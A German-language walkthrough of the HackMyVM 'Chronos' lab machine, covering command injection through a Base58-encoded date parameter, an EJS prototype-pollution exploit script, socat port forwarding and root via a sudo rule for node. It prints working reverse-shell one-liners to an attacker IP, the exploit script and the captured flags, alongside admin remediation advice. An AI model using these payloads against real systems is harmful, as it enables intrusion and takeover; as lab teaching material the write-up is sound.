Chronos - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
curl
CyberChef
Burp Suite
nc (netcat)
python3
stty
ls
cat
uname
sudo
cd
netstat
socat
wget
EJS-RCE-attack.py
node
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.115	08:00:27:f9:47:f4	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan im lokalen Netzwerk identifiziert die IP-Adresse `192.168.2.115` und die zugehörige MAC-Adresse `08:00:27:f9:47:f4`, die auf eine VirtualBox-VM hinweist.

Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert.

Empfehlung (Pentester): Führen Sie einen detaillierten Portscan mit Nmap auf die Ziel-IP `192.168.2.115` durch. Tragen Sie die IP optional mit einem Hostnamen (z.B. `chronos.local`, basierend auf späteren Logs) in die `/etc/hosts`-Datei ein.
Empfehlung (Admin): Netzwerksegmentierung und die Erkennung von ARP-Scans können die initiale Aufklärung erschweren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.115 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 01:37 CEST
Nmap scan report for chronos (192.168.2.115)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e4f283a438898d86a5e13176eb9d5fea (RSA)
|   256 415a21c458f22be48a2f3173cefd37ad (ECDSA)
|_  256 9b3428c2b9334b37d501306f87c46b23 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-open-proxy: Proxy might be redirecting requests 
|_http-cors: HEAD GET POST PUT DELETE PATCH
MAC Address: 08:00:27:F9:47:F4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms chronos (192.168.2.115)

Nmap done: 1 IP address (1 host up) scanned in 18.34 seconds

Analyse: Ein umfassender Nmap-Scan identifiziert drei offene TCP-Ports: * Port 22: SSH (OpenSSH 7.6p1 auf Ubuntu). * Port 80: HTTP (Apache 2.4.29 auf Ubuntu). * Port 8000: HTTP (Node.js Express Framework).

Bewertung: Drei potenzielle Angriffsflächen wurden gefunden. Der Node.js-Dienst auf Port 8000 ist besonders interessant, da benutzerdefinierte Webanwendungen oft Schwachstellen aufweisen. Die SSH- und Apache-Versionen sollten auf bekannte Exploits überprüft werden (OpenSSH 7.6p1 ist relativ alt, aber nicht trivial ausnutzbar ohne weitere Infos).

Empfehlung (Pentester): Untersuchen Sie beide Webserver (Port 80 und 8000) detailliert mit Tools wie Gobuster, Nikto und manueller Analyse. Prüfen Sie die SSH-Konfiguration (Authentifizierungsmethoden).
Empfehlung (Admin): Halten Sie alle Dienste (SSH, Apache, Node.js-Anwendungen und deren Abhängigkeiten) aktuell. Konfigurieren Sie Firewalls, um nur notwendige Ports freizugeben.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,war,jse,jar,asp,aspx,csv,rtf,doc,docx,dsd,mp3,mp4,mkv,log,sh,dll,exe,ico -b 404,403
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://192.168.2.115
[...]
===============================================================
2022/10/30 01:40:01 Starting gobuster
===============================================================
/index.html           (Status: 200) [Size: 1887]
/css                  (Status: 301) [Size: 312] [--> http://192.168.2.115/css/]
[...]
===============================================================
2022/10/30 01:42:15 Finished
===============================================================

Analyse: Ein Gobuster-Scan wird auf den Apache-Server (Port 80) durchgeführt, um nach versteckten Dateien und Verzeichnissen zu suchen. Es werden nur die `index.html` und das `/css`-Verzeichnis gefunden.

Bewertung: Der Webserver auf Port 80 scheint sehr begrenzt zu sein und bietet wenig Angriffsfläche.

Empfehlung (Pentester): Konzentrieren Sie die Enumeration auf den Node.js-Dienst auf Port 8000.
Empfehlung (Admin): Entfernen Sie unnötige Dateien vom Webserver.

Untersuchung des Node.js-Dienstes (Port 8000):

http://chronos.local:8000/date?format=whoami
                     
Permission Denied
                     

Analyse: Ein erster Test des `/date`-Endpunkts auf Port 8000 mit dem Parameter `format=whoami` (Verwendung von `chronos.local`, was einen vorherigen `/etc/hosts`-Eintrag impliziert). Die Anwendung gibt "Permission Denied" zurück.

Bewertung: Dies deutet darauf hin, dass der `format`-Parameter existiert, aber die direkte Ausführung von Befehlen wie `whoami` entweder verhindert wird oder eine bestimmte Syntax erfordert.

Empfehlung (Pentester): Untersuchen Sie die erwartete Syntax für den `format`-Parameter. Probieren Sie Format-String-Payloads oder andere Injektionstechniken.
Empfehlung (Admin): Validieren und sanitisieren Sie alle Benutzereingaben streng, insbesondere wenn sie zur Steuerung von Formatierungen oder Befehlsausführungen verwendet werden.

GET http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
                      
CyberChef (Base58 Decode): '+Today is %A, %B %d, %Y %H:%M:%S.'
                      

Analyse: Ein weiterer Request verwendet einen Base58-kodierten Payload im `format`-Parameter. Die Dekodierung mit CyberChef ergibt den String `'+Today is %A, %B %d, %Y %H:%M:%S.'`. Dies sieht wie ein Formatstring für ein Datums-Tool (wie `date` oder eine Bibliothek wie `moment.js`) aus. Das führende `'+'` ist hier der entscheidende Hinweis.

Bewertung: Es scheint, dass die Anwendung Base58-kodierte Formatstrings erwartet und das `'+'` am Anfang möglicherweise eine Command Injection in einer Funktion ermöglicht, die Datumsformatstrings verarbeitet (ähnlich wie bei der `date`-Funktion in Linux, wo `date '+%H; id'` funktioniert).

Empfehlung (Pentester): Konstruieren Sie Payloads für Command Injection, beginnend mit `'+;`, gefolgt vom gewünschten Befehl (z.B. `id`, Reverse Shell), und kodieren Sie den gesamten String (inkl. `'+;` und Befehl) in Base58. Senden Sie diesen kodierten Payload im `format`-Parameter an den `/date`-Endpunkt.
Empfehlung (Admin): Überprüfen Sie den Code, der den `format`-Parameter verarbeitet. Verwenden Sie niemals Benutzereingaben direkt in Funktionen, die Befehle ausführen oder Formatstrings interpretieren können (`exec`, `eval`, `system`, `date`, etc.). Verwenden Sie sichere APIs und validieren Sie die Eingaben streng gegen eine Whitelist erlaubter Zeichen/Formate.

Analyse von Netzwerk-Requests (Firefox/Burp Suite):

// Firefox Network Request (OPTIONS)
await fetch("http://chronos.local:8000/date?format=...", {
    "method": "OPTIONS", ...
});

// Burp Suite Request (GET)
GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
Host: chronos.local:8000
[...]
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
[...]

Analyse: Die Mitschnitte zeigen einen `OPTIONS`-Request (vermutlich ein CORS Preflight Request vom Browser) und einen `GET`-Request. Auffällig im `GET`-Request sind die vielen `X-...`-Header, die alle auf `127.0.0.1` gesetzt sind. Dies könnte darauf hindeuten, dass die Anwendung hinter einem Proxy läuft oder dass bestimmte Funktionen nur für lokale Anfragen gedacht sind, aber diese Header vom Client gesetzt werden.

Bewertung: Die `X-...`-Header könnten für Header-Spoofing-Angriffe relevant sein, falls die Anwendung diesen Headern vertraut, um die Herkunft der Anfrage zu bestimmen. Sie scheinen hier aber nicht direkt für den Exploit relevant zu sein.

Empfehlung (Pentester): Behalten Sie die Header im Hinterkopf, falls andere Angriffe fehlschlagen. Konzentrieren Sie sich auf die Ausnutzung des `format`-Parameters.
Empfehlung (Admin): Konfigurieren Sie Proxies so, dass sie vertrauenswürdige Header setzen und vom Client gesetzte `X-...`-Header überschreiben oder ignorieren. Validieren Sie die Herkunft von Anfragen serverseitig, wenn nötig.

Initial Access (POC - Node.js RCE via Date Format)

Ziel: Demonstration der Ausnutzung der Schwachstelle im `/date`-Endpunkt auf Port 8000 zur Erlangung einer Reverse Shell als `www-data` durch Einschleusen eines Befehls über den Base58-kodierten `format`-Parameter.

Voraussetzungen: * Netzwerkzugriff auf Port 8000 des Ziels (`192.168.2.115`). * Eintrag `192.168.2.115 chronos.local` in `/etc/hosts`. * Fähigkeit, Base58 zu kodieren (z.B. mit CyberChef). * Ein Angreifer-System (IP `192.168.2.153` laut Payload) mit Netcat-Listener. * Tools: `curl` oder Burp Suite, `nc`, CyberChef.

Risiko: Kritisch. Diese Schwachstelle erlaubt die Ausführung beliebiger Betriebssystembefehle im Kontext des Benutzers, der den Node.js-Dienst ausführt (`www-data`), was zur vollständigen Kompromittierung führen kann.

Schritt 1: Payload vorbereiten

Der auszuführende Befehl für eine Reverse Shell (z.B. zu `192.168.2.153:4444`) wird konstruiert und dem verwundbaren Formatstring vorangestellt:

'+; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.2.153 4444 > /tmp/f'

Dieser gesamte String wird dann Base58-kodiert. Der resultierende Payload ist:

2FKaCgCDhrKDtPk3bLhEKFzdkb681KiAmhhBzVoyVfzgkyBLM3dA97yHrZXeEwYs1K8fb8ssVzmwxHaedKHj2mw2LYQ2kdFujaLSrdwbsFL7ky

Schritt 2: Listener starten

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

Analyse: Auf dem Angreifer-System (IP `192.168.2.153`) wird der Netcat-Listener auf Port 4444 gestartet.

Schritt 3: Exploit senden (via Burp Suite)

GET /date?format=2FKaCgCDhrKDtPk3bLhEKFzdkb681KiAmhhBzVoyVfzgkyBLM3dA97yHrZXeEwYs1K8fb8ssVzmwxHaedKHj2mw2LYQ2kdFujaLSrdwbsFL7ky HTTP/1.1
Host: chronos.local:8000
User-Agent: Chronos
Accept: /
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: http://192.168.2.115:8000
Connection: close
If-None-Match: W/"2c-MfmgHCipHeWUG6vYX17MoG9v+uA"
Referer: http://192.168.2.115:8000/
Pragma: no-cache
Cache-Control: no-cache

Analyse: Der präparierte GET-Request mit dem Base58-kodierten Reverse-Shell-Payload im `format`-Parameter wird an den `/date`-Endpunkt des Node.js-Servers gesendet.

Schritt 4: Server-Antwort (Irreführend)

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin:
Content-Type: text/html; charset=utf-8
Content-Length: 20
ETag: W/"14-jYhsC6bytoPaul8ZVooxYibOPkw"
Date: Sun, 30 Oct 2022 00:25:18 GMT
Connection: close

Something went wrong

Analyse: Der Server antwortet mit HTTP 200 OK, aber der Body enthält "Something went wrong". Dies deutet darauf hin, dass die Datumsformatierung selbst aufgrund des eingeschleusten Befehls fehlgeschlagen ist, der Befehl aber dennoch ausgeführt wurde.

Schritt 5: Shell empfangen

listening on [any] 4444 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.115] 37816
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ergebnis: Unabhängig von der Fehlermeldung im HTTP-Response empfängt der Netcat-Listener die Verbindung und stellt eine Shell als `www-data` bereit.

Bewertung: Der POC war erfolgreich und demonstriert die RCE-Schwachstelle durch Command Injection im `format`-Parameter.

Empfehlung (Admin): Beheben Sie die Command-Injection-Schwachstelle im `/date`-Endpunkt dringend. Implementieren Sie sichere Programmierpraktiken, Input-Validierung und vermeiden Sie die Ausführung von Betriebssystembefehlen basierend auf Benutzereingaben.

Shell-Stabilisierung (wie zuvor):

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@chronos:/opt/chronos$
www-data@chronos:/opt/chronos$ export TERM=xterm
[Keine Ausgabe]
www-data@chronos:/opt/chronos$ ^Z
zsh: suspended  nc -lvnp 4444
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4444
                                reset
www-data@chronos:/opt/chronos$

Analyse: Die erhaltene Shell wird stabilisiert.

Bewertung: Notwendiger Schritt für eine komfortable weitere Interaktion.

Privilege Escalation Enumeration

Kontext: Als Benutzer `www-data` wird das System weiter untersucht, um Wege zur Privilegienerweiterung zu finden.

www-data@chronos:/opt/chronos$ ls /home
imera

Analyse: Identifiziert den Benutzer `imera`.

www-data@chronos:/opt/chronos$ cat /etc/release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS"
[...]
www-data@chronos:/opt/chronos$ uname -r
4.15.0-151-generic
www-data@chronos:/opt/chronos$ uname -a
Linux chronos 4.15.0-151-generic #157-Ubuntu [...]

Analyse: Systeminformationen werden gesammelt: Ubuntu 18.04.1 LTS, Kernel 4.15.0-151.

Bewertung: Nützlich für die Suche nach spezifischen Kernel- oder OS-Exploits.

Empfehlung (Pentester): Suchen Sie nach bekannten Exploits für Ubuntu 18.04 und Kernel 4.15.0.
Empfehlung (Admin): System aktuell halten.

www-data@chronos:/opt/chronos$ cd /home/imera/
www-data@chronos:/home/imera$ ls -la
[...]
-rw-r--r-- 1 imera imera  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 imera imera 3771 Apr  4  2018 .bashrc
[...]
-rw-r--r-- 1 imera imera  807 Apr  4  2018 .profile
-rw-r--r-- 1 imera imera    0 Jul 29  2021 .sudo_as_admin_successful
-rw------- 1 imera imera   37 Aug  3  2021 user.txt

Analyse: Inhalt des Home-Verzeichnisses von `imera`. Die Datei `user.txt` ist vorhanden, aber nicht lesbar. Die leere Datei `.sudo_as_admin_successful` ist ein Artefakt, das oft nach erfolgreicher `sudo`-Ausführung angelegt wird.

Bewertung: Bestätigt den Ort der User-Flag.

www-data@chronos:/home/imera$ cat user.txt
cat: user.txt: Permission denied
www-data@chronos:/home/imera$ cat .sudo_as_admin_successful
[Keine Ausgabe]
www-data@chronos:/home/imera$ sudo -l
[sudo] password for www-data:

Analyse: Bestätigt fehlende Leserechte für `user.txt` und fehlende `sudo`-Rechte für `www-data`.

Entdeckung von Chronos v2:

www-data@chronos:/home/imera$ cd /opt/chronos-v2/backend/
www-data@chronos:/opt/chronos-v2/backend$ ls -la
drwxr-xr-x  3 root root  4096 Aug  3  2021 .
drwxr-xr-x  4 root root  4096 Aug  3  2021 ..
drwxr-xr-x 71 root root  4096 Aug  3  2021 node_modules
-rw-r--r--  1 root root   296 Jul 29  2021 package.json
-rw-r--r--  1 root root 43066 Aug  3  2021 package-lock.json
-rw-r--r--  1 root root   505 Aug  3  2021 server.js

Analyse: Ein Verzeichnis `/opt/chronos-v2` wird entdeckt, das eine weitere Node.js-Anwendung (`server.js`, `package.json`) enthält.

www-data@chronos:/opt/chronos-v2/backend$ cat server.js
const express = require('express');
const fileupload = require("express-fileupload"); 
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true })); 

app.set('view engine', 'ejs'); 
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
// ...
const addr = "127.0.0.1" 
const port = 8080;
// ...
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

Analyse: Der Quellcode von `server.js` zeigt eine Express-Anwendung, die: * `express-fileupload` mit der Option `parseNested: true` verwendet. * Die Template-Engine EJS benutzt. * Nur auf `127.0.0.1:8080` (localhost) lauscht.

Bewertung: Dies ist ein kritischer Fund! Die Kombination aus `express-fileupload` (insbesondere mit älteren Versionen oder `parseNested: true`) und EJS ist bekannt für eine Prototyp-Pollution-Schwachstelle, die zu Remote Code Execution (RCE) führen kann. Da der Dienst nur lokal lauscht, muss ein Port Forwarding eingerichtet werden.

Empfehlung (Pentester): Verwenden Sie `socat` oder ein ähnliches Tool, um Port 8080 von localhost auf einen Port weiterzuleiten, den Sie von Ihrer `www-data`-Shell erreichen können (z.B. 5555). Suchen Sie nach einem Exploit für die EJS/express-fileupload-Schwachstelle und wenden Sie ihn auf den weitergeleiteten Port an.
Empfehlung (Admin): Aktualisieren Sie `express-fileupload` und andere Node.js-Abhängigkeiten. Vermeiden Sie die Option `parseNested: true`, wenn nicht unbedingt nötig. Stellen Sie sicher, dass Template-Engines sicher konfiguriert sind und keine unsicheren Funktionen preisgeben.

www-data@chronos:/opt/chronos-v2/backend$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      - 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::8000                 :::*                    LISTEN      824/node 
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Analyse: `netstat` bestätigt, dass Port 8080 nur auf `127.0.0.1` lauscht.

Port Forwarding einrichten:

www-data@chronos:/tmp$ socat TCP-LISTEN:5555,fork TCP:127.0.0.1:8080
[socat lauscht im Hintergrund/Vordergrund]

Analyse: `socat` wird gestartet, um eingehende TCP-Verbindungen auf Port 5555 (auf allen Interfaces des Zielsystems, erreichbar für `www-data`) an `127.0.0.1:8080` weiterzuleiten. `fork` erlaubt die Bearbeitung mehrerer Verbindungen.

Bewertung: Macht die anfällige Chronos-v2-Anwendung für den Exploit von außen (über Port 5555) erreichbar.

Empfehlung (Pentester): Führen Sie den Exploit nun gegen `http://192.168.2.115:5555` aus.
Empfehlung (Admin): Beschränken Sie die Möglichkeit für niedrig privilegierte Benutzer, Port-Forwarding-Tools wie `socat` auszuführen oder Sockets zu öffnen.

Exploit vorbereiten und ausführen (auf Angreifer-System):

┌──(root㉿cyber)-[~] └─# wget https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/attacker/EJS-RCE-attack.py
[...]
2022-10-30 02:46:20 (69,2 MB/s) - »EJS-RCE-attack.py« gespeichert [685/685]
┌──(root㉿cyber)-[~] └─# cat EJS-RCE-attack.py
# Run this .py to perform EJS-RCE attack
[...]
# commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.2.153/9003 0>&1"' 

print("Starting Attack...")
# pollute
requests.post('http://192.168.2.115:5555', files = {'__proto__.outputFunctionName': ( 
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://192.168.2.115:5555')
print("Finished!")

Analyse: Ein Python-Exploit-Skript für die EJS/express-fileupload-Schwachstelle wird heruntergeladen. Es ist so konfiguriert, dass es eine Reverse Shell zum Angreifer (`192.168.2.153`) auf Port `9003` sendet und das Ziel über den weitergeleiteten Port `5555` anspricht.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.115 -p5555
[...]
PORT     STATE SERVICE VERSION
5555/tcp open  http    Node.js (Express middleware)
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.115:5555


    
        Chronos - Version 2
    
    
        

Coming Soon...

Analyse: Nmap und curl bestätigen, dass der weitergeleitete Port 5555 erreichbar ist und die Chronos-v2-Anwendung ("Coming Soon...") dahinter läuft.

Zweite Reverse Shell empfangen:

┌──(root㉿cyber)-[~] └─# nc -lvnp 9003
listening on [any] 9003 ...
┌──(root㉿cyber)-[~] └─# python3 EJS-RCE-attack.py
Starting Attack...
Finished!
listening on [any] 9003 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.115] 48340
bash: cannot set terminal process group (829): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$ id
uid=1000(imera) gid=1000(imera) groups=1000(imera)

Analyse: Der Listener auf Port 9003 wird gestartet, dann wird das Python-Exploit-Skript ausgeführt. Der Exploit sendet die Payloads an Port 5555. Kurz darauf empfängt der Listener die Verbindung und stellt eine Shell bereit.

Bewertung: Erfolg! Die Prototyp-Pollution-Schwachstelle in der Chronos-v2-Anwendung wurde erfolgreich ausgenutzt. Da diese Anwendung wahrscheinlich als Benutzer `imera` lief, wurde eine Shell als `imera` erlangt. Dies ist ein wichtiger Schritt zur Privilegienerweiterung.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Lesen Sie die User-Flag als `imera`. Überprüfen Sie die `sudo`-Berechtigungen für `imera` (`sudo -l`).
Empfehlung (Admin): Aktualisieren Sie Node.js-Abhängigkeiten (insbesondere `express-fileupload`). Überprüfen Sie Anwendungen auf Prototyp-Pollution-Schwachstellen. Führen Sie Dienste mit den geringstmöglichen Rechten aus.

Enumeration als imera:

imera@chronos:~$ cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

Analyse: Die User-Flag wird ausgelesen.

Bewertung: User-Flag erfolgreich erfasst.

Privilege Escalation (POC - sudo node)

Ziel: Demonstration der Ausnutzung der `sudo`-Berechtigung für den `node`-Befehl durch den Benutzer `imera`, um eine Root-Shell zu erlangen.

Voraussetzungen: * Shell-Zugriff als Benutzer `imera`. * `sudo`-Berechtigung für `imera`, um `/usr/local/bin/node` ohne Passwort auszuführen (`NOPASSWD: /usr/local/bin/node`).

Risiko: Kritisch. Diese Fehlkonfiguration erlaubt einem Benutzer mit spezifischen `sudo`-Rechten (hier für `node`) die vollständige Übernahme des Systems mit Root-Rechten.

Schritt 1: Überprüfung der sudo-Rechte

imera@chronos:~$ sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=...

User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm
    (ALL) NOPASSWD: /usr/local/bin/node

Analyse: `sudo -l` bestätigt, dass `imera` sowohl `npm` als auch `node` ohne Passwort als jeder Benutzer (einschließlich `root`) ausführen darf.

Bewertung: Dies ist eine klare und leicht auszunutzende Fehlkonfiguration für die Privilegienerweiterung.

Schritt 2: Ausnutzung von `sudo node`

imera@chronos:~$ sudo -u root node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der `node`-Befehl wird mit `sudo -u root` ausgeführt. Die Option `-e` führt den übergebenen JavaScript-Code aus: * `require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})`: Startet einen neuen `/bin/sh`-Prozess und verbindet dessen Standard-Input (0), -Output (1) und -Error (2) mit dem des Node.js-Prozesses, wodurch eine interaktive Shell bereitgestellt wird.

Bewertung: Erfolg! Eine Root-Shell wurde direkt über die `sudo`-Regel erlangt.

Empfehlung (Admin): Entfernen oder beschränken Sie die `sudo`-Regel für `node` und `npm` für den Benutzer `imera`. Gewähren Sie `sudo`-Rechte nur für spezifische, absolut notwendige Befehle und vermeiden Sie Programme, die Shell-Escapes ermöglichen (siehe GTFOBins).

Schritt 3: Root-Flag lesen

# cd /root
# ls
root.txt
# cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

Analyse: Aus der Root-Shell wird die Root-Flag gelesen.

Bewertung: Ziel erreicht.

Flags

cat /home/imera/user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
# cat /root/root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK